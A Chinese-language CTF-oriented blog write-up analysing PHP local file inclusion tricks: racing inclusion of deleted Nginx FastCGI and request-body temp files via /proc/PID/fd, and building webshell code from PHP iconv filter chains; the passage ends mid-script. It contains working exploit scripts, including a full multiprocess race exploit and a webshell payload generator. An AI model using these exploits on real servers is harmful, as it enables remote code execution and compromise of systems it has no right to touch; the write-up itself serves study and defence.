LFI的那些奇技淫巧

在比赛中碰到了一些非常精妙的LFI技巧,遂记录学习一下。

Nginx Temp File Include

假如有如下代码

<?php 
($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');

部分DockerFile如下

RUN chown -R root:root /var/www && \
    find /var/www -type d -exec chmod 555 {} \; && \
    find /var/www -type f -exec chmod 444 {} \; && \
    chown -R root:root /tmp /var/tmp /var/lib/php/sessions && \
    chmod -R 000 /tmp /var/tmp /var/lib/php/sessions

一些常见的php-tmp文件都不可写,那么我们该怎么进行包含利用,进而getshell呢?

我们首先来找找是否有其他www-data用户可写的目录

find / -type d -maxdepth 5 -perm /u=w -user www-data

#结果如下
/run/php
/run/lock/apache2
/var/cache/apache2/mod_cache_disk
/var/lib/nginx/scgi
/var/lib/nginx/fastcgi
/var/lib/nginx/proxy
/var/lib/nginx/uwsgi
/var/lib/nginx/body

经过搜索,发现 /var/lib/nginx/fastcgi 目录是 Nginx 的默认http-fastcgi-temp-path,意味着我们可能通过 Nginx 来产生一些文件,并且通过一些搜索我们知道这些临时文件格式是: /var/lib/nginx/fastcgi/x/y/0000000yx

而以上参数可以在nginx.conf文件中通过fastcgi_param参数配置

我们也可以通过如下命令查看fastcgi临时文件目录

nginx -V

#nginx version: nginx/1.18.0 (Ubuntu)
built with OpenSSL 1.1.1f  31 Mar 2020
TLS SNI support enabled
configure arguments:
...
--http-fastcgi-temp-path=/var/lib/nginx/fastcgi
...

在Nginx的官方文档,我们找到了关于Nginx缓冲文件的描述

Syntax: fastcgi_buffering on \| off;
Default: fastcgi_buffering on;
Context: http, server, location

This directive appeared in version 1.5.6.

Enables or disables buffering of responses from the FastCGI server.
When buffering is enabled, nginx receives a response from the FastCGI server as soon as possible, saving it into the buffers set by the fastcgi_buffer_size and fastcgi_buffers directives. If the whole response does not fit into memory, a part of it can be saved to a temporary file on the disk. Writing to temporary files is controlled by the fastcgi_max_temp_file_size and fastcgi_temp_file_write_size directives.

When buffering is disabled, the response is passed to a client synchronously, immediately as it is received. nginx will not try to read the whole response from the FastCGI server. The maximum size of the data that nginx can receive from the server at a time is set by the fastcgi_buffer_size directive.

Buffering can also be enabled or disabled by passing “yes” or “no” in the “X-Accel-Buffering” response header field. This capability can be disabled using the fastcgi_ignore_headers directive.

我们大致可以知道当 Nginx 接收来自 FastCGI 的响应时,若大小超过限定值不适合以内存的形式来存储的时候,一部分就会以临时文件的方式保存到磁盘上。这个阈值的大小大概在 32KB 左右。

下面我们来验证一下是否能产生临时文件。

临时文件测试

这里我们先生成一个大文件

#从非阻塞随机数发生器中生成100M数据
dd if=/dev/urandom of=testfile bs=1M count=100

接着编写PHP脚本读取生成的大文件,并向Nginx发起请求

#fastcgi.php
<?php
header("Content-type: application/octet-stream");
$f = fopen("testfile", "rb");
fpassthru($f);
fclose($f);
?>

然后我们在临时文件目录/usr/local/nginx/fastcgi_temp下使用inotifywait监控文件信息,并使用strace命令查看Nginx子进程信息。最后向Nginx发起请求 ,如下图

当Nginx接收一个大文件请求时,可以看见其子进程在fastcgi的临时目录下创建了一个临时文件夹来保存临时文件。但是创建临时文件之后会立即删除,我们无法得知临时文件的内容。

同时我们可以发现 Niginx 创建临时文件有所规律,为了检查文件内容,我们可以计算出下一次 Nginx 产生临时文件的位置,再对其上级目录使用 chattr +a 临时禁止临时文件删除,这样我们就可以看到文件内容了。

可以看到这里生成的临时文件没有被删除,我们看看内容是什么。

可以看到这里生成的临时文件内容就是我们传递给Nginx大文件的一部分。下面我们从源码角度分析以下临时文件的生命周期。

Nginx源码分析

Linux下搭建Nginx调试环境

搭建好debug环境之后,向Nginx发送一个大文件。我们把断点打在ngx_open_tempfile这个函数处

...
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
    ngx_fd_t  fd;

    fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
              access ? access : 0600);

    if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }

    return fd;
}

可以看见Nginx在创建临时文件之后又立即删除了,这里控制删除的条件为fd != -1 && !persistent

创建临时文件调用栈如下。

ngx_open_tempfile(u_char * name, ngx_uint_t persistent, ngx_uint_t access) (/home/xiaoh/Desktop/nginx/src/os/unix/ngx_files.c:285)
ngx_create_temp_file(ngx_file_t * file, ngx_path_t * path, ngx_pool_t * pool, ngx_uint_t persistent, ngx_uint_t clean, ngx_uint_t access) (/home/xiaoh/Desktop/nginx/src/core/ngx_file.c:202)
ngx_write_chain_to_temp_file(ngx_temp_file_t * tf, ngx_chain_t * chain) (/home/xiaoh/Desktop/nginx/src/core/ngx_file.c:114)
ngx_event_pipe_write_chain_to_temp_file(ngx_event_pipe_t * p) (/home/xiaoh/Desktop/nginx/src/event/ngx_event_pipe.c:843)
ngx_event_pipe_read_upstream(ngx_event_pipe_t * p) (/home/xiaoh/Desktop/nginx/src/event/ngx_event_pipe.c:277)
ngx_event_pipe(ngx_event_pipe_t * p, ngx_int_t do_write) (/home/xiaoh/Desktop/nginx/src/event/ngx_event_pipe.c:49)
ngx_http_upstream_process_upstream(ngx_http_request_t * r, ngx_http_upstream_t * u) (/home/xiaoh/Desktop/nginx/src/http/ngx_http_upstream.c:4068)
ngx_http_upstream_handler(ngx_event_t * ev) (/home/xiaoh/Desktop/nginx/src/http/ngx_http_upstream.c:1296)
ngx_epoll_process_events(ngx_cycle_t * cycle, ngx_msec_t timer, ngx_uint_t flags) (/home/xiaoh/Desktop/nginx/src/event/modules/ngx_epoll_module.c:901)
ngx_process_events_and_timers(ngx_cycle_t * cycle) (/home/xiaoh/Desktop/nginx/src/event/ngx_event.c:248)
ngx_single_process_cycle(ngx_cycle_t * cycle) (/home/xiaoh/Desktop/nginx/src/os/unix/ngx_process_cycle.c:300)
main(int argc, char * const * argv) (/home/xiaoh/Desktop/nginx/src/core/nginx.c:380)

我们再分析一下临时文件删除的条件fd != -1 && !persistent

fd参数是打开的临时文件句柄,只有文件打开失败时会返回-1,这个我们不可控,我们来重点分析一下persistent参数。

...
if (fd != -1 && !persistent) {
        (void) unlink((const char *) name);
    }
...

persistent该条件从函数上下文我们看不出来有什么关系,需要更进一步分析,通过分析代码,我们可以发现该变量主要在以下三个地方可能被赋值为1,下面我们来一一分析。

  • 一个地方是 src/http/ngx_http_request_body.c#556 处:tf->persistent = r->request_body_in_persistent_file;
  • 另一个地方是 src/http/ngx_http_upstream.c#4211 处: tf->persistent = 1;
  • 还有一个地方是 src/http/ngx_http_upstream.c#3213 处: p->temp_file->persistent = 1;

client_body_in_file_only

第一个地方是 src/http/ngx_http_request_body.c#556 处:tf->persistent = r->request_body_in_persistent_file。继续跟进 request_body_in_persistent_file 成员变量,找到其赋值的地方为 src/http/ngx_http_core_module.c#1315 中的 ngx_http_update_location_config 函数当中。

...
 if (clcf->client_body_in_file_only) {
        r->request_body_in_file_only = 1;
        r->request_body_in_persistent_file = 1;
        r->request_body_in_clean_file =
            clcf->client_body_in_file_only == NGX_HTTP_REQUEST_BODY_FILE_CLEAN;
        r->request_body_file_log_level = NGX_LOG_NOTICE;

    }

client_body_in_file_only这个属性实际上是由client_body_in_file_only配置选项控制的。官方文档如下

Syntax: client_body_in_file_only on | clean | off;
Default: client_body_in_file_only off;
Context: http, server, location

Determines whether nginx should save the entire client request body into a file. This directive can be used during debugging, or when using the $request_body_file variable, or the $r->request_body_file method of the module ngx_http_perl_module.
When set to the value on, temporary files are not removed after request processing.

The value clean will cause the temporary files left after request processing to be removed.

这个配置选项决定Nginx是否存储生成的临时文件,但默认为off,所以这里我们不考虑。

fastcgi_store

另一个地方就是src/http/ngx_http_upstream.c#3213 处: p->temp_file->persistent = 1;

static void
ngx_http_upstream_store(ngx_http_request_t *r, ngx_http_upstream_t *u)
{
    if (tf->file.fd == NGX_INVALID_FILE) {

        /* create file for empty 200 response */

        tf = ngx_pcalloc(r->pool, sizeof(ngx_temp_file_t));
        if (tf == NULL) {
            return;
        }

...
        tf->persistent = 1;

...
    }
}

跟进该函数的调用

if (u->peer.connection) {

        if (u->store) {

            if (p->upstream_eof || p->upstream_done) {

                tf = p->temp_file;

                if (u->headers_in.status_n == NGX_HTTP_OK
                    && (p->upstream_done || p->length == -1)
                    && (u->headers_in.content_length_n == -1
                        || u->headers_in.content_length_n == tf->offset))
                {
                    ngx_http_upstream_store(r, u);
                }
            }
        }
...
}

这里有数个if判断,利用起来可能比较苛刻。我们先来看看u->store的赋值,找到该成员变量主要是在 src/http/ngx_http_upstream.c# 610 处的 ngx_http_upstream_init_request 函数中得到赋值

static void
ngx_http_upstream_init_request(ngx_http_request_t *r)
{
...
u = r->upstream;
...
u->store = u->conf->store;
...
}

这里很明显是通过配置选项赋值的,我们可以根据此处上下文,并且查阅一些相关源码资料知道此处 u->conf->store 来自配置 fastcgi_store

Syntax: fastcgi_store on | off | string;
Default: fastcgi_store off;
Context: http, server, location

Enables saving of files to a disk. The on parameter saves files with paths corresponding to the directives alias or root. The off parameter disables saving of files. In addition, the file name can be set explicitly using the string with variables:
fastcgi_store /data/www$original_uri;

当此配置为on时,会允许将临时文件存储到磁盘中。但这里默认也是off,同样不好利用。

cache

最后一个地方就是src/http/ngx_http_upstream.c#4211 处: tf->persistent = 1;

ngx_http_upstream_send_response(ngx_http_request_t *r, ngx_http_upstream_t *u)
{
...
p->cacheable = u->cacheable || u->store;

if (p->cacheable) {
        p->temp_file->persistent = 1;
}

...
}

很明显,p->cacheable的值可能与缓存相关。u->store的值我们分析过了,来自配置选项fast_cgi。默认关闭。所以我们跟进看一看u->cacheable。在 src/http/ngx_http_upstream.c#870 处的 ngx_http_upstream_cache 函数被设置成了1。

#if (NGX_HTTP_CACHE)

static ngx_int_t
ngx_http_upstream_cache(ngx_http_request_t *r, ngx_http_upstream_t *u)
{
...
u->cacheable = 1;
...
}

但调用该函数需要开启宏NGX_HTTP_CACHE,我们跟进其定义,在auto/modules#99 处

if [ $HTTP_CACHE = YES ]; then
        have=NGX_HTTP_CACHE . auto/have
        HTTP_SRCS="$HTTP_SRCS $HTTP_FILE_CACHE_SRCS"
    fi

接着可以在 auto/options 找到 $HTTP_CACHE 的定义默认为 YES ,只有当编译增加选项 --without-http-cache 才会将该宏定义为 FALSE ,也就是说如果正常开启, Nginx 是默认开启这个宏的。

但是该函数还会受到 src/http/ngx_http_upstream.c#569 处的限制 u->conf->cache ,并且通过查看一些文档,发现知道这里的 config->cache 也是与 proxy_cache 配置有关的,查阅文档知道 proxy_cache 配置选项默认为 off ,所以这里我们也不考虑。

读取被删除的文件

根据上文的分析,Nginx在存储临时文件后会立即删除,而unlink行为由ngx_open_tempfile 函数中的persistent变量控制。并且从以上源码审计来看,没有很好的方式让persistent变量为 1,所以在不能修改默认配置的情况下,直接让临时文件保存下来是基本不可能的。

那我们有没有一个时间窗去包含临时文件呢?由于创建、删除函数间隔非常短,即使有能让 Nginx Crash 的方法,也很难把握这个时间点,基本很难包含被删除的文件。

但是在Linux中,有一种叫做File Descriptor(文件描述符)的东西。是内核为了高效管理已被打开的文件所创建的索引,用于指代被打开的文件,对文件所有 I/O 操作相关的系统调用都需要通过文件描述符。如果一个进程打开了某个文件,某个文件就会出现在 /proc/PID/fd/ 目录下,但是如果这个文件在没有被关闭的情况下就被删除了呢?

我们大概可以用 c 简单复刻一个大概的 demo ,使用如下代码模拟 Nginx 对于临时文件处理的行为,但是最后不关闭文件句柄,使用 sleep 模拟进程挂起的状态

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <unistd.h>

int main() {
    puts("[+] test for open/unlink/write [+]\n");
    int fd = open("test.txt", O_CREAT|O_EXCL|O_RDWR, 0600);
    printf("open file with fd %d,try unlink\n",fd);

    unlink("test.txt");
    printf("unlink file, try write content\n");
    if(write(fd, "<?php phpinfo();?>", 19) != 19)
    {
        printf("write file error!\n");
    }

    char buffer[0x10] = {0};
    lseek(fd, 0,SEEK_SET);
    int size = read(fd, buffer , 19);
    printf("read size is %d\n",size);
    printf("read buffer is %s\n",buffer);

    while(1) {
        sleep(10);
    }
    // close(fd);
    return 0;
}

这里我们尝试使用PHP来直接包含被删除的文件,但提示文件已删除,无法包含。不过我们仍能通过文件描述符来查看被删除文件的内容。

PHP Stat绕过

对于PHP的 include 函数,在进行包含的时候,会使用 php_sys_lstat 函数判断路径,这里已经有师傅整理过很详细的文章了:php源码分析 require_once 绕过不能重复包含文件的限制

php_sys_lstat()实际上就是linux的lstat(),这个函数是用来获取一些文件相关的信息,成功执行时,返回0。失败返回-1,并且会设置errno,因为之前符号链接过多,所以errno就都是ELOOP,符号链接的循环数量真正取决于SYMLOOP_MAX,这是个runtime-value,它的值不能小于_POSIX_SYMLOOP_MAX

所以虽然直接包含会显示文件不存在,但是这里依然适用于使用多层符号链接绕过的场景,进而包含执行 php 代码。

根据一开始我们实验的图看到,其实 Nginx 对于临时文件句柄的关闭往往在最后才进行关闭,所以这个过程中有足够的时间让我们去进行竞争包含。

思路总结

通过上文的各种测试,我们可以总结出大致思路:竞争包含 proc 目录下的临时文件。但是最后一个问题就是,既然我们要去包含 Nginx 进程下的文件,我们就需要知道对应的 pid 以及 fd 下具体的文件名,怎么才能获取到这些信息呢?

这时我们就需要用到文件读取进行获取 proc 目录下的其他文件了,这里我们只需要本地搭个 Nginx 进程并启动,对比其进程的 proc 目录文件与其他进程文件区别就可以了。

可以通过读取 /proc/PID/cmdline (进程启动参数)来获取进程启动信息,而已启动进程信息可以在路径/sys/fs/cgroup/systemd/tasks下读到。如果是 Nginx Worker 进程,我们可以读取到文件内容为 nginx: worker process 即可找到 Nginx Worker 进程;因为 Master 进程不处理请求,所以我们没必要找 Nginx Master 进程。

当然,Nginx 会有很多 Worker 进程,但是一般来说 Worker 数量不会超过 cpu 核心数量,我们可以通过 /proc/cpuinfo 中的 processor 个数得到 cpu 数量,我们可以对比找到的 Nginx Worker Pid 数量以及 CPU 数量来校验我们大概找的对不对。

那怎么确定用哪一个 PID 呢?以及 fd 怎么办呢?由于 Nginx 的调度策略我们确实没有办法确定具体哪一个 worker 分配了任务,但是一般来说是 8 个 worker ,实际本地测试 fd 序号一般不超过 70 ,即使爆破也只是 8*70 ,能在常数时间内得到解答。

最终整个思路如下

  • 后端PHP请求一个过大的文件
  • Fastcgi返回的响应包过大,导致Nginx将其作为临时文件存储
  • Nginx会立即删除/var/lib/nginx/fastcgi生成的临时文件,但我们可以在/proc/PID/fd/下找到被删除的文件
  • 遍历pid以及fd,通过条件竞争+多重链接绕过 PHP 包含策略完成 LFI

权限问题

这里有一个小小的权限问题,即php-fpm的子进程是www-data用户启动的,如何能够读取root用户启动的Nginx的/proc下的文件呢?假如我们直接包含的话会提示Permission denied

这里我们修改nginx.conf文件,将user修改为www-data,重启

#nginx.conf
...
user www-data
...

#刷新服务配置
systemctl daemon-reload
#重启服务器
systemctl restart nginx2.service

可以看到这里的worker进程已经变成了www-data用户,修改权限后成功包含

注意这里要控制生成的临时文件大小,过大会导致PHP解析临时文件缓慢,难以竞争利用。

with open("tmp",'w+') as file:
    payload="<?php system('cat /flag');__halt_compiler();?>"
    file.write(payload*(256*1024))

Nginx Request Body Temp LFI

在上文的fastcgi临时文件分析中,我们提到了client_body_in_file_only这一配置选项,结合我们得到的可写目录

find / -type d -maxdepth 5 -perm /u=w -user www-data

#结果如下
/run/php
/run/lock/apache2
/var/cache/apache2/mod_cache_disk
/var/lib/nginx/scgi
/var/lib/nginx/fastcgi
/var/lib/nginx/proxy
/var/lib/nginx/uwsgi
/var/lib/nginx/body

出现了/var/lib/nginx/body这一路径,难不成 Nginx 对于过大的 Request Body 也会产生临时文件?

测试一下便知,我们发送一个过大的body给服务器

#tmp_body.py

from pwn import *
import time

l=remote('localhost',80)

payload="<?php system('cat /flag');__halt_compiler();?>"
data=payload+'\n'*11*1024

l.send(
    '''POST / HTTP/1.1 \r
Host:localhost\r
Content-Length:{}\r
\r
{}'''.format(len(data)+11,data)
)
time.sleep(10)
l.close()

可以发现,Nginx对于过大的请求体同样会将其内容存储在临时文件中。所以利用思路和Fastcgi的利用思路类似。

创建临时文件的调用栈如下

ngx_create_temp_file(ngx_file_t * file, ngx_path_t * path, ngx_pool_t * pool, ngx_uint_t persistent, ngx_uint_t clean, ngx_uint_t access) (/home/zeddy/Desktop/nginx-1.18.0/src/core/ngx_file.c:143)
ngx_write_chain_to_temp_file(ngx_temp_file_t * tf, ngx_chain_t * chain) (/home/zeddy/Desktop/nginx-1.18.0/src/core/ngx_file.c:114)
ngx_http_write_request_body(ngx_http_request_t * r) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_request_body.c:483)
ngx_http_request_body_save_filter(ngx_http_request_t * r, ngx_chain_t * in) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_request_body.c:1132)
ngx_http_request_body_length_filter(ngx_chain_t * in, ngx_http_request_t * r) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_request_body.c:921)
ngx_http_request_body_filter(ngx_http_request_t * r, ngx_chain_t * in) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_request_body.c:855)
ngx_http_do_read_client_request_body(ngx_http_request_t * r) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_request_body.c:292)
ngx_http_read_client_request_body(ngx_http_request_t * r, ngx_http_client_body_handler_pt post_handler) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_request_body.c:185)
ngx_http_fastcgi_handler(ngx_http_request_t * r) (/home/zeddy/Desktop/nginx-1.18.0/src/http/modules/ngx_http_fastcgi_module.c:748)
ngx_http_core_content_phase(ngx_http_request_t * r, ngx_http_phase_handler_t * ph) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_core_module.c:1247)
ngx_http_core_run_phases(ngx_http_request_t * r) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_core_module.c:868)
ngx_http_handler(ngx_http_request_t * r) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_core_module.c:851)
ngx_http_internal_redirect(ngx_http_request_t * r, ngx_str_t * uri, ngx_str_t * args) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_core_module.c:2530)
ngx_http_index_handler(ngx_http_request_t * r) (/home/zeddy/Desktop/nginx-1.18.0/src/http/modules/ngx_http_index_module.c:277)
ngx_http_core_content_phase(ngx_http_request_t * r, ngx_http_phase_handler_t * ph) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_core_module.c:1254)
ngx_http_core_run_phases(ngx_http_request_t * r) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_core_module.c:868)
ngx_http_handler(ngx_http_request_t * r) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_core_module.c:851)
ngx_http_process_request(ngx_http_request_t * r) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_request.c:2060)
ngx_http_process_request_headers(ngx_event_t * rev) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_request.c:1480)
ngx_http_process_request_line(ngx_event_t * rev) (/home/zeddy/Desktop/nginx-1.18.0/src/http/ngx_http_request.c:1151)

我们可以把发送的报文 Content-Length 头部增加一定数额,并且在发送完数据的时候 sleep 避免 Nginx 过早关闭,可以看到我们可以直接包含了临时文件执行了 php 代码,这个方法相对 Nginx Fastcgi 的方法来说更实用。

这里需要注意的是把握好不要过早关闭 socket ,会导致 Nginx 过早关闭文件句柄导致我们无法竞争到。

利用脚本

最后贴一波大佬的exp

import requests
import threading
import multiprocessing
import threading
import random

SERVER = "http://192.168.43.103:49153"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False

#创建会话句柄
def create_requests_session():
    session = requests.Session()
    # Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
    #自定义HTTP适配器,创建连接池,消除tcp三次握手时延
    adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
    session.mount('http://', adapter)
    return session

#获取Nginx主进程pid
def get_nginx_pids(requests_session):
    if USE_NGINX_PIDS_CACHE:
        return NGINX_PIDS_CACHE
    nginx_pids = set()
    # Scan up to PID 200
    for i in range(1, 200):
        cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
        if cmdline.startswith("nginx: worker process"):
            nginx_pids.add(i)
    return nginx_pids

#向Nginx发送过大Body,使其生成临时文件
def send_payload(requests_session, body_size=1024000):
    try:
        # The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
        payload = '<?php system("/readflag");__halt_compiler(); ?>'
        requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
    except:
        pass

#循环发送
def send_payload_worker(requests_session):
    while True:
        send_payload(requests_session)

#多线程发送Payload
def send_payload_multiprocess(requests_session):
    # Use all CPUs to send the payload as request body for Nginx
    for _ in range(multiprocessing.cpu_count()):
        p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
        p.start()

#生成随机路径/proc/pid/cwd/proc/pid/root绕过php软连接stat
def generate_random_path_prefix(nginx_pids):
    # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
    path = ""
    component_num = random.randint(0, 10)
    for _ in range(component_num):
        pid = random.choice(nginx_pids)
        if random.randint(0, 1) == 0:
            path += f"/proc/{pid}/cwd"
        else:
            path += f"/proc/{pid}/root"
    return path

#遍历读fd文件
def read_file(requests_session, nginx_pid, fd, nginx_pids):
    nginx_pid_list = list(nginx_pids)
    while True:
        path = generate_random_path_prefix(nginx_pid_list)
        path += f"/proc/{nginx_pid}/fd/{fd}"
        try:
            d = requests_session.get(SERVER + f"/?action=include&file={path}").text
        except:
            continue
        if "flag" in d:
            print("Found flag! ")
            print(d)
            exit()

#多线程竞争临时文件
def read_file_worker(requests_session, nginx_pid, nginx_pids):
    # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
    for fd in range(10, 45):
        thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
        thread.start()

#多进程竞争临时文件
def read_file_multiprocess(requests_session, nginx_pids):
    for nginx_pid in nginx_pids:
        p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
        p.start()

if __name__ == "__main__":
    print('[DEBUG] Creating requests session')
    requests_session = create_requests_session()
    print('[DEBUG] Getting Nginx pids')
    nginx_pids = get_nginx_pids(requests_session)
    print(f'[DEBUG] Nginx pids: {nginx_pids}')
    print('[DEBUG] Starting payload sending')
    send_payload_multiprocess(requests_session)
    print('[DEBUG] Starting fd readers')
    read_file_multiprocess(requests_session, nginx_pids)

The End Of LFI——No Temp File Include

在P牛的文章谈一谈php://filter的妙用 | 离别歌中,提到了使用PHP Filter的base64编码来绕过”死亡exit”这一方法。大致思路如下

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

Iconv LFI

在PHP中,由于伪协议的存在,我们在读写文件的时候可以对文件流进行各种编解码操作,如下所示

<?php

#file的内容为PD9waHAgcGhwaW5mbygpPz4=
include "php://filter/convert.base64-decode/resource=file"
?>

##
phpinfo()
PHP Version => 7.3.4
...

include等各种包含函数包含的实际是文件编解码之后的内容。那我们有没有办法通过编码形式,构造产生自己想要的内容呢?

PHP Filter 当中有一种 convert.iconv 的 转换过滤器 ,可以用来将数据从字符集 A 转换为字符集 B ,其中这两个字符集可以从 iconv -l 获得,这个字符集比较长,不过也存在一些实际上是其他字符集的别名。

例如

<?php

$content="php://filter/convert.iconv.UTF-8.UTF-7/resource=data://,some<>text";
echo file_get_contents($content);
?>

#some+ADwAPg-text

可以使用以上方式来将some<>text的编码格式从UTF-8转到UTF-7,但是这对于LFI有什么用呢?

我们在平时一定碰到过文件乱码的情况,这是由于文件创建和打开时字符集编码不一致造成的。而这种情况会产生很多的不可见字符,就像下面这样

<?php
$content="php://filter/convert.iconv.UTF-8.UTF-16/resource=data://,你好世界";
echo (file_get_contents($content));

?>
#00000000: fffe 604f 7d59 164e 4c75                 ..`O}Y.NLu

由于PHP Base64的宽松性,base64解密时会忽略不可见字符,所以我们可以使用base64-decode过滤器来过滤掉这些不可见字符,虽然base64解码会产生一些不可见字符,我们只需要再进行一次base64-encode即可”过滤”掉不可见字符。

<?php

$content="php://filter/convert.iconv.UTF-8.UTF-16|convert.base64-decode|convert.base64-encode/resource=data://,你好世界";
echo var_dump(file_get_contents($content));
?>

#OYNu

这里由于一些字符编码长度原因,吞掉了一些字符,但这无关紧要,我们只取前几个可见字符即可。

构造一句话Payload

那我们应该怎么构造需要的内容呢?因为 base64 编码合法字符里面并没有尖括号,所以我们不能通过以上方式直接产生 PHP 代码进行包含,但是我们可以通过以上技巧来产生一个 base64 字符串,最后再使用一次 base64 解码一次就可以了。

例如我们生成 PAaaaaa ,最后经过 base64 解码得到第一个字符为 < ,后续为其他不需要的字符(垃圾字符)。

所以我们接下来需要做的,就是利用以上技巧找到这么一类编码,可以只存在我们需要的构造一个 webshell 的 base64 字符串了。

比如字符8,我们可以使用convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2 来生成

<?php

$url = "php://filter/convert.iconv.UTF8.UTF7|";
$url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2";
$url = $url."/resource=data://,aaaaaaaaaaaaaaaa";
echo file_get_contents($url);

?>

######
00000000: 0a38 01fe 0061 0000 0061 0000 0061 0000  .8...a...a...a..
00000010: 0061 0000 0061 0000 0061 0000 0061 0000  .a...a...a...a..
00000020: 0061 0000 0061 0000 0061 0000 0061 0000  .a...a...a...a..
00000030: 0061 0000 0061 0000 0061 0000 0061 0000  .a...a...a...a..
00000040: 0061 0000 00                             .a...

可以看到我们通过编码规则逐步拓展了原字符串的字节长度,在原字符串的前端生成了我们想要构造的字符,所以对于我们需要的编码规则条件来说,还需要拓展原字节长度。

因为最终的 base64 字符串,是由 iconv 相对应的编码规则生成的,所以我们最好通过已有的编码规则来适当地匹配自己想要的 webshell ,比如

<?=`$_GET[0]`;;?>

以上 payload 的 base64 编码为 PD89YCRfR0VUWzBdYDs7Pz4= ,而如果只使用了一个分号,则编码结果为 PD89YCRfR0VUWzBdYDs/Pg== ,这里 7 可能相对于斜杠比较好找一些,这里我们使用了两个分号避开了 base64 编码中的斜杠。

脚本如下

<?php
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
